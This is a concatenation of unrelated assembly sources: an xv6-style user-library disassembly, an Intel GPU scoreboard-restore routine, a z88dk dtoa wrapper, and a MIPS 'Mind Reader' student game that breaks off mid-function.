3a4: 53 push %ebx
3a5: 8b 5d 10 mov 0x10(%ebp),%ebx
3a8: 8b 45 08 mov 0x8(%ebp),%eax
3ab: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
3ae: 85 db test %ebx,%ebx
3b0: 7e 14 jle 3c6 <memmove+0x26>
3b2: 31 d2 xor %edx,%edx
3b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
3b8: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
3bc: 88 0c 10 mov %cl,(%eax,%edx,1)
3bf: 83 c2 01 add $0x1,%edx
while(n-- > 0)
3c2: 39 d3 cmp %edx,%ebx
3c4: 75 f2 jne 3b8 <memmove+0x18>
return vdst;
}
3c6: 5b pop %ebx
3c7: 5e pop %esi
3c8: 5d pop %ebp
3c9: c3 ret
000003ca <fork>:
3ca: b8 01 00 00 00 mov $0x1,%eax
3cf: cd 40 int $0x40
3d1: c3 ret
000003d2 <exit>:
3d2: b8 02 00 00 00 mov $0x2,%eax
3d7: cd 40 int $0x40
3d9: c3 ret
000003da <wait>:
3da: b8 03 00 00 00 mov $0x3,%eax
3df: cd 40 int $0x40
3e1: c3 ret
000003e2 <pipe>:
3e2: b8 04 00 00 00 mov $0x4,%eax
3e7: cd 40 int $0x40
3e9: c3 ret
000003ea <read>:
3ea: b8 05 00 00 00 mov $0x5,%eax
3ef: cd 40 int $0x40
3f1: c3 ret
000003f2 <write>:
3f2: b8 10 00 00 00 mov $0x10,%eax
3f7: cd 40 int $0x40
3f9: c3 ret
000003fa <close>:
3fa: b8 15 00 00 00 mov $0x15,%eax
3ff: cd 40 int $0x40
401: c3 ret
00000402 <kill>:
402: b8 06 00 00 00 mov $0x6,%eax
407: cd 40 int $0x40
409: c3 ret
0000040a <exec>:
40a: b8 07 00 00 00 mov $0x7,%eax
40f: cd 40 int $0x40
411: c3 ret
00000412 <open>:
412: b8 0f 00 00 00 mov $0xf,%eax
417: cd 40 int $0x40
419: c3 ret
0000041a <mknod>:
41a: b8 11 00 00 00 mov $0x11,%eax
41f: cd 40 int $0x40
421: c3 ret
00000422 <unlink>:
422: b8 12 00 00 00 mov $0x12,%eax
427: cd 40 int $0x40
429: c3 ret
0000042a <fstat>:
42a: b8 08 00 00 00 mov $0x8,%eax
42f: cd 40 int $0x40
431: c3 ret
00000432 <link>:
432: b8 13 00 00 00 mov $0x13,%eax
437: cd 40 int $0x40
439: c3 ret
0000043a <mkdir>:
43a: b8 14 00 00 00 mov $0x14,%eax
43f: cd 40 int $0x40
441: c3 ret
00000442 <chdir>:
442: b8 09 00 00 00 mov $0x9,%eax
447: cd 40 int $0x40
449: c3 ret
0000044a <dup>:
44a: b8 0a 00 00 00 mov $0xa,%eax
44f: cd 40 int $0x40
451: c3 ret
00000452 <getpid>:
452: b8 0b 00 00 00 mov $0xb,%eax
457: cd 40 int $0x40
459: c3 ret
0000045a <sbrk>:
45a: b8 0c 00 00 00 mov $0xc,%eax
45f: cd 40 int $0x40
461: c3 ret
00000462 <sleep>:
462: b8 0d 00 00 00 mov $0xd,%eax
467: cd 40 int $0x40
469: c3 ret
0000046a <uptime>:
46a: b8 0e 00 00 00 mov $0xe,%eax
46f: cd 40 int $0x40
471: c3 ret
00000472 <getreadcount>:
472: b8 16 00 00 00 mov $0x16,%eax
477: cd 40 int $0x40
479: c3 ret
47a: 66 90 xchg %ax,%ax
47c: 66 90 xchg %ax,%ax
47e: 66 90 xchg %ax,%ax
00000480 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
480: 55 push %ebp
481: 89 e5 mov %esp,%ebp
483: 57 push %edi
484: 56 push %esi
485: 53 push %ebx
486: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
489: 85 d2 test %edx,%edx
{
48b: 89 45 c0 mov %eax,-0x40(%ebp)
neg = 1;
x = -xx;
48e: 89 d0 mov %edx,%eax
if(sgn && xx < 0){
490: 79 76 jns 508 <printint+0x88>
492: f6 45 08 01 testb $0x1,0x8(%ebp)
496: 74 70 je 508 <printint+0x88>
x = -xx;
498: f7 d8 neg %eax
neg = 1;
49a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
} else {
x = xx;
}
i = 0;
4a1: 31 f6 xor %esi,%esi
4a3: 8d 5d d7 lea -0x29(%ebp),%ebx
4a6: eb 0a jmp 4b2 <printint+0x32>
4a8: 90 nop
4a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
do{
buf[i++] = digits[x % base];
4b0: 89 fe mov %edi,%esi
4b2: 31 d2 xor %edx,%edx
4b4: 8d 7e 01 lea 0x1(%esi),%edi
4b7: f7 f1 div %ecx
4b9: 0f b6 92 b8 08 00 00 movzbl 0x8b8(%edx),%edx
}while((x /= base) != 0);
4c0: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
4c2: 88 14 3b mov %dl,(%ebx,%edi,1)
}while((x /= base) != 0);
4c5: 75 e9 jne 4b0 <printint+0x30>
if(neg)
4c7: 8b 45 c4 mov -0x3c(%ebp),%eax
4ca: 85 c0 test %eax,%eax
4cc: 74 08 je 4d6 <printint+0x56>
buf[i++] = '-';
4ce: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
4d3: 8d 7e 02 lea 0x2(%esi),%edi
4d6: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi
4da: 8b 7d c0 mov -0x40(%ebp),%edi
4dd: 8d 76 00 lea 0x0(%esi),%esi
4e0: 0f b6 06 movzbl (%esi),%eax
write(fd, &c, 1);
4e3: 83 ec 04 sub $0x4,%esp
4e6: 83 ee 01 sub $0x1,%esi
4e9: 6a 01 push $0x1
4eb: 53 push %ebx
4ec: 57 push %edi
4ed: 88 45 d7 mov %al,-0x29(%ebp)
4f0: e8 fd fe ff ff call 3f2 <write>
while(--i >= 0)
4f5: 83 c4 10 add $0x10,%esp
4f8: 39 de cmp %ebx,%esi
4fa: 75 e4 jne 4e0 <printint+0x60>
putc(fd, buf[i]);
}
4fc: 8d 65 f4 lea -0xc(%ebp),%esp
4ff: 5b pop %ebx
500: 5e pop %esi
501: 5f pop %edi
502: 5d pop %ebp
503: c3 ret
504: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
508: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
50f: eb 90 jmp 4a1 <printint+0x21>
511: eb 0d jmp 520 <printf>
513: 90 nop
514: 90 nop
515: 90 nop
516: 90 nop
517: 90 nop
518: 90 nop
519: 90 nop
51a: 90 nop
51b: 90 nop
51c: 90 nop
51d: 90 nop
51e: 90 nop
51f: 90 nop
00000520 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
520: 55 push %ebp
521: 89 e5 mov %esp,%ebp
523: 57 push %edi
524: 56 push %esi
525: 53 push %ebx
526: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
529: 8b 75 0c mov 0xc(%ebp),%esi
52c: 0f b6 1e movzbl (%esi),%ebx
52f: 84 db test %bl,%bl
531: 0f 84 b3 00 00 00 je 5ea <printf+0xca>
ap = (uint*)(void*)&fmt + 1;
537: 8d 45 10 lea 0x10(%ebp),%eax
53a: 83 c6 01 add $0x1,%esi
state = 0;
53d: 31 ff xor %edi,%edi
ap = (uint*)(void*)&fmt + 1;
53f: 89 45 d4 mov %eax,-0x2c(%ebp)
542: eb 2f jmp 573 <printf+0x53>
544: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
548: 83 f8 25 cmp $0x25,%eax
54b: 0f 84 a7 00 00 00 je 5f8 <printf+0xd8>
write(fd, &c, 1);
551: 8d 45 e2 lea -0x1e(%ebp),%eax
554: 83 ec 04 sub $0x4,%esp
557: 88 5d e2 mov %bl,-0x1e(%ebp)
55a: 6a 01 push $0x1
55c: 50 push %eax
55d: ff 75 08 pushl 0x8(%ebp)
560: e8 8d fe ff ff call 3f2 <write>
565: 83 c4 10 add $0x10,%esp
568: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
56b: 0f b6 5e ff movzbl -0x1(%esi),%ebx
56f: 84 db test %bl,%bl
571: 74 77 je 5ea <printf+0xca>
if(state == 0){
573: 85 ff test %edi,%edi
c = fmt[i] & 0xff;
575: 0f be cb movsbl %bl,%ecx
578: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
57b: 74 cb je 548 <printf+0x28>
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
57d: 83 ff 25 cmp $0x25,%edi
580: 75 e6 jne 568 <printf+0x48>
if(c == 'd'){
582: 83 f8 64 cmp $0x64,%eax
585: 0f 84 05 01 00 00 je 690 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
58b: 81 e1 f7 00 00 00 and $0xf7,%ecx
591: 83 f9 70 cmp $0x70,%ecx
594: 74 72 je 608 <printf+0xe8>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
596: 83 f8 73 cmp $0x73,%eax
599: 0f 84 99 00 00 00 je 638 <printf+0x118>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
59f: 83 f8 63 cmp $0x63,%eax
5a2: 0f 84 08 01 00 00 je 6b0 <printf+0x190>
putc(fd, *ap);
ap++;
} else if(c == '%'){
5a8: 83 f8 25 cmp $0x25,%eax
5ab: 0f 84 ef 00 00 00 je 6a0 <printf+0x180>
write(fd, &c, 1);
5b1: 8d 45 e7 lea -0x19(%ebp),%eax
5b4: 83 ec 04 sub $0x4,%esp
5b7: c6 45 e7 25 movb $0x25,-0x19(%ebp)
5bb: 6a 01 push $0x1
5bd: 50 push %eax
5be: ff 75 08 pushl 0x8(%ebp)
5c1: e8 2c fe ff ff call 3f2 <write>
5c6: 83 c4 0c add $0xc,%esp
5c9: 8d 45 e6 lea -0x1a(%ebp),%eax
5cc: 88 5d e6 mov %bl,-0x1a(%ebp)
5cf: 6a 01 push $0x1
5d1: 50 push %eax
5d2: ff 75 08 pushl 0x8(%ebp)
5d5: 83 c6 01 add $0x1,%esi
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
5d8: 31 ff xor %edi,%edi
write(fd, &c, 1);
5da: e8 13 fe ff ff call 3f2 <write>
for(i = 0; fmt[i]; i++){
5df: 0f b6 5e ff movzbl -0x1(%esi),%ebx
write(fd, &c, 1);
5e3: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
5e6: 84 db test %bl,%bl
5e8: 75 89 jne 573 <printf+0x53>
}
}
}
5ea: 8d 65 f4 lea -0xc(%ebp),%esp
5ed: 5b pop %ebx
5ee: 5e pop %esi
5ef: 5f pop %edi
5f0: 5d pop %ebp
5f1: c3 ret
5f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
state = '%';
5f8: bf 25 00 00 00 mov $0x25,%edi
5fd: e9 66 ff ff ff jmp 568 <printf+0x48>
602: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 16, 0);
608: 83 ec 0c sub $0xc,%esp
60b: b9 10 00 00 00 mov $0x10,%ecx
610: 6a 00 push $0x0
612: 8b 7d d4 mov -0x2c(%ebp),%edi
615: 8b 45 08 mov 0x8(%ebp),%eax
618: 8b 17 mov (%edi),%edx
61a: e8 61 fe ff ff call 480 <printint>
ap++;
61f: 89 f8 mov %edi,%eax
621: 83 c4 10 add $0x10,%esp
state = 0;
624: 31 ff xor %edi,%edi
ap++;
626: 83 c0 04 add $0x4,%eax
629: 89 45 d4 mov %eax,-0x2c(%ebp)
62c: e9 37 ff ff ff jmp 568 <printf+0x48>
631: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
638: 8b 45 d4 mov -0x2c(%ebp),%eax
63b: 8b 08 mov (%eax),%ecx
ap++;
63d: 83 c0 04 add $0x4,%eax
640: 89 45 d4 mov %eax,-0x2c(%ebp)
if(s == 0)
643: 85 c9 test %ecx,%ecx
645: 0f 84 8e 00 00 00 je 6d9 <printf+0x1b9>
while(*s != 0){
64b: 0f b6 01 movzbl (%ecx),%eax
state = 0;
64e: 31 ff xor %edi,%edi
s = (char*)*ap;
650: 89 cb mov %ecx,%ebx
while(*s != 0){
652: 84 c0 test %al,%al
654: 0f 84 0e ff ff ff je 568 <printf+0x48>
65a: 89 75 d0 mov %esi,-0x30(%ebp)
65d: 89 de mov %ebx,%esi
65f: 8b 5d 08 mov 0x8(%ebp),%ebx
662: 8d 7d e3 lea -0x1d(%ebp),%edi
665: 8d 76 00 lea 0x0(%esi),%esi
write(fd, &c, 1);
668: 83 ec 04 sub $0x4,%esp
s++;
66b: 83 c6 01 add $0x1,%esi
66e: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
671: 6a 01 push $0x1
673: 57 push %edi
674: 53 push %ebx
675: e8 78 fd ff ff call 3f2 <write>
while(*s != 0){
67a: 0f b6 06 movzbl (%esi),%eax
67d: 83 c4 10 add $0x10,%esp
680: 84 c0 test %al,%al
682: 75 e4 jne 668 <printf+0x148>
684: 8b 75 d0 mov -0x30(%ebp),%esi
state = 0;
687: 31 ff xor %edi,%edi
689: e9 da fe ff ff jmp 568 <printf+0x48>
68e: 66 90 xchg %ax,%ax
printint(fd, *ap, 10, 1);
690: 83 ec 0c sub $0xc,%esp
693: b9 0a 00 00 00 mov $0xa,%ecx
698: 6a 01 push $0x1
69a: e9 73 ff ff ff jmp 612 <printf+0xf2>
69f: 90 nop
write(fd, &c, 1);
6a0: 83 ec 04 sub $0x4,%esp
6a3: 88 5d e5 mov %bl,-0x1b(%ebp)
6a6: 8d 45 e5 lea -0x1b(%ebp),%eax
6a9: 6a 01 push $0x1
6ab: e9 21 ff ff ff jmp 5d1 <printf+0xb1>
putc(fd, *ap);
6b0: 8b 7d d4 mov -0x2c(%ebp),%edi
write(fd, &c, 1);
6b3: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
6b6: 8b 07 mov (%edi),%eax
write(fd, &c, 1);
6b8: 6a 01 push $0x1
ap++;
6ba: 83 c7 04 add $0x4,%edi
putc(fd, *ap);
6bd: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
6c0: 8d 45 e4 lea -0x1c(%ebp),%eax
6c3: 50 push %eax
6c4: ff 75 08 pushl 0x8(%ebp)
6c7: e8 26 fd ff ff call 3f2 <write>
ap++;
6cc: 89 7d d4 mov %edi,-0x2c(%ebp)
6cf: 83 c4 10 add $0x10,%esp
state = 0;
6d2: 31 ff xor %edi,%edi
6d4: e9 8f fe ff ff jmp 568 <printf+0x48>
s = "(null)";
6d9: bb af 08 00 00 mov $0x8af,%ebx
while(*s != 0){
6de: b8 28 00 00 00 mov $0x28,%eax
6e3: e9 72 ff ff ff jmp 65a <printf+0x13a>
6e8: 66 90 xchg %ax,%ax
6ea: 66 90 xchg %ax,%ax
6ec: 66 90 xchg %ax,%ax
6ee: 66 90 xchg %ax,%ax
000006f0 <free>:
6f0: 55 push %ebp
6f1: a1 a0 0b 00 00 mov 0xba0,%eax
6f6: 89 e5 mov %esp,%ebp
6f8: 57 push %edi
6f9: 56 push %esi
6fa: 53 push %ebx
6fb: 8b 5d 08 mov 0x8(%ebp),%ebx
6fe: 8d 4b f8 lea -0x8(%ebx),%ecx
701: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
708: 39 c8 cmp %ecx,%eax
70a: 8b 10 mov (%eax),%edx
70c: 73 32 jae 740 <free+0x50>
70e: 39 d1 cmp %edx,%ecx
710: 72 04 jb 716 <free+0x26>
712: 39 d0 cmp %edx,%eax
714: 72 32 jb 748 <free+0x58>
716: 8b 73 fc mov -0x4(%ebx),%esi
719: 8d 3c f1 lea (%ecx,%esi,8),%edi
71c: 39 fa cmp %edi,%edx
71e: 74 30 je 750 <free+0x60>
720: 89 53 f8 mov %edx,-0x8(%ebx)
723: 8b 50 04 mov 0x4(%eax),%edx
726: 8d 34 d0 lea (%eax,%edx,8),%esi
729: 39 f1 cmp %esi,%ecx
72b: 74 3a je 767 <free+0x77>
72d: 89 08 mov %ecx,(%eax)
72f: a3 a0 0b 00 00 mov %eax,0xba0
734: 5b pop %ebx
735: 5e pop %esi
736: 5f pop %edi
737: 5d pop %ebp
738: c3 ret
739: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
740: 39 d0 cmp %edx,%eax
742: 72 04 jb 748 <free+0x58>
744: 39 d1 cmp %edx,%ecx
746: 72 ce jb 716 <free+0x26>
748: 89 d0 mov %edx,%eax
74a: eb bc jmp 708 <free+0x18>
74c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
750: 03 72 04 add 0x4(%edx),%esi
753: 89 73 fc mov %esi,-0x4(%ebx)
756: 8b 10 mov (%eax),%edx
758: 8b 12 mov (%edx),%edx
75a: 89 53 f8 mov %edx,-0x8(%ebx)
75d: 8b 50 04 mov 0x4(%eax),%edx
760: 8d 34 d0 lea (%eax,%edx,8),%esi
763: 39 f1 cmp %esi,%ecx
765: 75 c6 jne 72d <free+0x3d>
767: 03 53 fc add -0x4(%ebx),%edx
76a: a3 a0 0b 00 00 mov %eax,0xba0
76f: 89 50 04 mov %edx,0x4(%eax)
772: 8b 53 f8 mov -0x8(%ebx),%edx
775: 89 10 mov %edx,(%eax)
777: 5b pop %ebx
778: 5e pop %esi
779: 5f pop %edi
77a: 5d pop %ebp
77b: c3 ret
77c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000780 <malloc>:
780: 55 push %ebp
781: 89 e5 mov %esp,%ebp
783: 57 push %edi
784: 56 push %esi
785: 53 push %ebx
786: 83 ec 0c sub $0xc,%esp
789: 8b 45 08 mov 0x8(%ebp),%eax
78c: 8b 15 a0 0b 00 00 mov 0xba0,%edx
792: 8d 78 07 lea 0x7(%eax),%edi
795: c1 ef 03 shr $0x3,%edi
798: 83 c7 01 add $0x1,%edi
79b: 85 d2 test %edx,%edx
79d: 0f 84 9d 00 00 00 je 840 <malloc+0xc0>
7a3: 8b 02 mov (%edx),%eax
7a5: 8b 48 04 mov 0x4(%eax),%ecx
7a8: 39 cf cmp %ecx,%edi
7aa: 76 6c jbe 818 <malloc+0x98>
7ac: 81 ff 00 10 00 00 cmp $0x1000,%edi
7b2: bb 00 10 00 00 mov $0x1000,%ebx
7b7: 0f 43 df cmovae %edi,%ebx
7ba: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
7c1: eb 0e jmp 7d1 <malloc+0x51>
7c3: 90 nop
7c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
7c8: 8b 02 mov (%edx),%eax
7ca: 8b 48 04 mov 0x4(%eax),%ecx
7cd: 39 f9 cmp %edi,%ecx
7cf: 73 47 jae 818 <malloc+0x98>
7d1: 39 05 a0 0b 00 00 cmp %eax,0xba0
7d7: 89 c2 mov %eax,%edx
7d9: 75 ed jne 7c8 <malloc+0x48>
7db: 83 ec 0c sub $0xc,%esp
7de: 56 push %esi
7df: e8 76 fc ff ff call 45a <sbrk>
7e4: 83 c4 10 add $0x10,%esp
7e7: 83 f8 ff cmp $0xffffffff,%eax
7ea: 74 1c je 808 <malloc+0x88>
7ec: 89 58 04 mov %ebx,0x4(%eax)
7ef: 83 ec 0c sub $0xc,%esp
7f2: 83 c0 08 add $0x8,%eax
7f5: 50 push %eax
7f6: e8 f5 fe ff ff call 6f0 <free>
7fb: 8b 15 a0 0b 00 00 mov 0xba0,%edx
801: 83 c4 10 add $0x10,%esp
804: 85 d2 test %edx,%edx
806: 75 c0 jne 7c8 <malloc+0x48>
808: 8d 65 f4 lea -0xc(%ebp),%esp
80b: 31 c0 xor %eax,%eax
80d: 5b pop %ebx
80e: 5e pop %esi
80f: 5f pop %edi
810: 5d pop %ebp
811: c3 ret
812: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
818: 39 cf cmp %ecx,%edi
81a: 74 54 je 870 <malloc+0xf0>
81c: 29 f9 sub %edi,%ecx
81e: 89 48 04 mov %ecx,0x4(%eax)
821: 8d 04 c8 lea (%eax,%ecx,8),%eax
824: 89 78 04 mov %edi,0x4(%eax)
827: 89 15 a0 0b 00 00 mov %edx,0xba0
82d: 8d 65 f4 lea -0xc(%ebp),%esp
830: 83 c0 08 add $0x8,%eax
833: 5b pop %ebx
834: 5e pop %esi
835: 5f pop %edi
836: 5d pop %ebp
837: c3 ret
838: 90 nop
839: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
840: c7 05 a0 0b 00 00 a4 movl $0xba4,0xba0
847: 0b 00 00
84a: c7 05 a4 0b 00 00 a4 movl $0xba4,0xba4
851: 0b 00 00
854: b8 a4 0b 00 00 mov $0xba4,%eax
859: c7 05 a8 0b 00 00 00 movl $0x0,0xba8
860: 00 00 00
863: e9 44 ff ff ff jmp 7ac <malloc+0x2c>
868: 90 nop
869: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
870: 8b 08 mov (%eax),%ecx
872: 89 0a mov %ecx,(%edx)
874: eb b1 jmp 827 <malloc+0xa7>
|
/*
* Restore previously stored scoreboard data after content switching back
* Copyright © <2010>, Intel Corporation.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sub license, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice (including the
* next paragraph) shall be included in all copies or substantial portions
* of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT.
* IN NO EVENT SHALL PRECISION INSIGHT AND/OR ITS SUPPLIERS BE LIABLE FOR
* ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
* This file was originally licensed under the following license
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
// Module name: scoreboard_restore_AS.asm
//
// Restore previously stored scoreboard data after content switching back
//
//
// Restore scoreboard data to r4 - r67
// They are saved in a 2D surface with width of 32 and height of 80.
// Each row corresponds to one GRF register in the following order
// r4 - r67 : Scoreboard message
//
mov (8) MSGSRC<1>:ud r0.0<8;8,1>:ud {NoDDClr} // Initialize message header payload with r0
mov (2) MSGSRC.0:ud 0:ud {NoDDClr, NoDDChk} // Starting r4
mov (1) MSGSRC.2:ud 0x0007001f:ud {NoDDChk} // for 8 registers
send (8) CMD_SB(0)<1> m1 MSGSRC<8;8,1>:ud DWBRMSGDSC_SC+0x00080000+AS_SAVE // Restore r4 - r11
mov (8) m2:ud MSGSRC<8;8,1>:ud
mov (1) m2.1:ud 8:ud
send (8) CMD_SB(8)<1> m2 null:ud DWBRMSGDSC_SC+0x00080000+AS_SAVE // Restore r12 - r19
mov (8) m3:ud MSGSRC<8;8,1>:ud
mov (1) m3.1:ud 16:ud
send (8) CMD_SB(16)<1> m3 null:ud DWBRMSGDSC_SC+0x00080000+AS_SAVE // Restore r20 - r27
mov (8) m4:ud MSGSRC<8;8,1>:ud
mov (1) m4.1:ud 24:ud
send (8) CMD_SB(24)<1> m4 null:ud DWBRMSGDSC_SC+0x00080000+AS_SAVE // Restore r28 - r35
mov (8) m5:ud MSGSRC<8;8,1>:ud
mov (1) m5.1:ud 32:ud
send (8) CMD_SB(32)<1> m5 null:ud DWBRMSGDSC_SC+0x00080000+AS_SAVE // Restore r36 - r43
mov (8) m6:ud MSGSRC<8;8,1>:ud
mov (1) m6.1:ud 40:ud
send (8) CMD_SB(40)<1> m6 null:ud DWBRMSGDSC_SC+0x00080000+AS_SAVE // Restore r44 - r51
mov (8) m7:ud MSGSRC<8;8,1>:ud
mov (1) m7.1:ud 48:ud
send (8) CMD_SB(48)<1> m7 null:ud DWBRMSGDSC_SC+0x00080000+AS_SAVE // Restore r52 - r59
mov (8) m8:ud MSGSRC<8;8,1>:ud
mov (1) m8.1:ud 56:ud
send (8) CMD_SB(56)<1> m8 null:ud DWBRMSGDSC_SC+0x00080000+AS_SAVE // Restore r60 - r67
// End of scoreboard_restore_AS
|
; size_t dtoa(double x, char *buf, uint16_t prec, uint16_t flag) __z88dk_callee
SECTION code_stdlib
PUBLIC _dtoa_callee, l0_dtoa_callee
EXTERN dcallee1, asm_dtoa
_dtoa_callee:
call dcallee1 ; AC' = x
pop af
pop hl
pop de
pop bc
push af
l0_dtoa_callee:
push ix
call asm_dtoa
pop ix
ret
|
##############################################################################
# Program : MindReader Programmer: Chaoran Li, Jiaer JIang, Xue Cheng, Pengfei Tong
# Due Date: 12/05/19 Last Modified:10/04/19
# Course: CS3340 Section:501
#############################################################################
# Description:
#
# Topic:
# The topic for the team project this semester is the Mind Reader game.
# For a feel of the game visit
# https://www.mathsisfun.com/games/mind-reader.html
#
# Minimum requirements for the program:
# The game is for a human player and your program is the 'mind reader'. Your program must display the
# cards, get input from the player then correctly display the number that the player has in mind.
# At the end of a game, the program will ask the player if he/she wants to play another game and then
# repeat or end the program.
# The 'cards' MUST be generated and displayed once at a time during a game, i.e. NOT pre-calculated
# and stored in memory. The order of displayed cards MUST be random.
# The player input (keystrokes) should be minimum
# The ASCII based display is the minimum requirement. Creative ways to display the game (e.g. colors)
# will earn the team extra credits.
# If the player gives an invalid input, an error message is displayed to explain why the input was not valid.
#
# Extra credits will be given for:
# Graphic/color display
# Extra features of the programs (e.g. background music, sounds or music to indicate invalid input,
# pleasant display etc...) implemented and documented.
# Any other notable creativity that the team has shown.
# You must document these extra credit features in your report and explain well to unlock these extra
# credits.
#
# Design:
# Print: Two loop to traverse to print
# Calculate: Get higher unit first. Return 0 if out of range.
#
# Log:
# version 1.0 10/04/19 Design the interaction flow
# version 1.1 10/05/19 Print card and calculate result
#
#############################################################################
# Register:
# global
# $v0 for I/O
# $a0 for I/O
# $s0 'y'
# $s1 'n'
# $s2 max digit
# $33 line feed every x numbers
# $t0 digit, 1~$s2
# $t1 result
# $t2 input, 1 for y and 0 for n
# $t3 pointer for card
#
#############################################################################
.data
# messages
start: .asciiz "\nThink of a number between 0 and 63. Six cards will be displayed and you would tell\nme whether your number is in the card. Once you finish all six cards, I can read your\nmind. Start now?"
hint: .asciiz "\n(input 'y' or 'n'):\n"
question: .asciiz "\nDo you find your number here?"
unvalid: .asciiz "\nThe only valid answer is 'y' or 'n' (lower case). So input correctly.\n"
answer: .asciiz "\nYour number is "
again: .asciiz ". Awesome right?\nDo you wanna another try?"
end: .asciiz "\nGLHF!"
card: # set at the end of .data to make sure no overflow
#############################################################################
.text
.globl main
main: # init
li $s0, 0x79 # save character 'y'
li $s1, 0x6e # save character 'n'
li $s2, 6 # 6 digits binary for 0 ~ 63
li $s3, 8 # feed back every 8 numbers when print card
li $t1, 0 # set result to 0
addi $t0, $s2, 0 # start from highest digit
# get start
li $v0, 4 # print message start
la $a0, start # load address
syscall
li $v0, 4 # print message hint
la $a0, hint
syscall
jal input # get an input
beq $t2, $zero, exit
# print card and ask question
loop: beq $t0, $zero, show # if digit == 0, show reslut. Get highter digit first for similicity
jal print # print card
li $v0, 4 # print question
la $a0, question
syscall
li $v0, 4 # print hint
la $a0, hint
syscall
jal input # get an input
sll $t1, $t1, 1 # result << 1
add $t1, $t1, $t2 # result += input
addi $t0, $t0, -1 # digit--
j loop
show: li $v0, 4 # print answer
la $a0, answer
syscall
li $v0, 1 # print result
addi $a0, $t1, 0 # set $a0 to result
syscall
li $v0, 4 # print again
la $a0, again
syscall
li $v0, 4 # print hint
la $a0, hint
syscall
jal input
beq $t2, $zero, exit
j main
input: li $v0, 12 # load a character
syscall
# check input validity
beq $v0, $s0, branchY # input is y
beq $v0, $s1, branchN # input is n
li $v0, 4 # print unvalid
la $a0, unvalid
syscall
j input
branchY: li $t2, 1 # set $t2 to 1 if input is y
jr $ra
branchN: li $t2, 0 # set $t2 to 0 if input is n
jr $ra
print: addi $sp, $sp, -28 # save $t1-$t7, $t0 is digit
sw $t1, 0($sp)
sw $t2, 4($sp)
sw $t3, 8($sp)
sw $t4, 12($sp)
sw $t5, 16($sp)
sw $t6, 20($sp)
sw $t7, 24($sp)
# init for print
# $t0 digit
# $t1 print index
# $t2 upper count
# $t3 lower count
# $t4 upper end
# $t5 lower end
# $t6 shamt
# $t7 number
li $t1, 0 # print index, feed back according to $s3
li $t2, 0 # upper count
li $t3, 0 # lower count
li $t4, 1 # set upper end
sub $t6, $s2, $t0 # << max digit - current digit
sllv $t4, $t4, $t6
li $t5, 1 # set lower end
addi $t6, $t0, -1
sllv $t5, $t5, $t6
addi $t6, $t0, -1 # set shamt for splice number
# traverse
